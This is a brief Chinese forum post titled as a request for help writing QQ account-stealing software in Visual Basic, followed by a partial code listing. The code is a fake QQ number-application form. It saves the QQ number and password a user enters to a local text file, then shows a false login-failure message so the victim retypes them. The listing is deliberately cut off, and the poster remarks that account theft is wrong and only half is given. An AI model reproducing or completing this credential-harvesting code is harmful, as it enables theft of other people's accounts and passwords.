用VB做盗号软件时的代码，请高手教我.........

程序代码：
?Private Sub Command1_Click()
MsgBox "你申请的QQ号码为：" & Int(Rnd * 1234567), , "QQ号码申请"
End Sub
Private Sub Command2_Click()
MsgBox "对不起，还未开通此功能", , "功能未开通"
End Sub
Private Sub Command3_Click()
Dim a As Integer, b As Integer
If Text1.Text <> "" Then
If Text2.Text <> "" Then
Open "c:\QQ号码.txt" For Append As #1
Print #1, "QQ:" & Text1.Text
Print #1, "Pass:" & Text2.Text
Close #1
MsgBox "请输入正确的QQ号码以及密码!QQ号码不能为空或者数字英文", , "无法登陆"
Text1.Text = ""
Text2.Text = ""
End If
Else

盗号是不良行为，只送一半！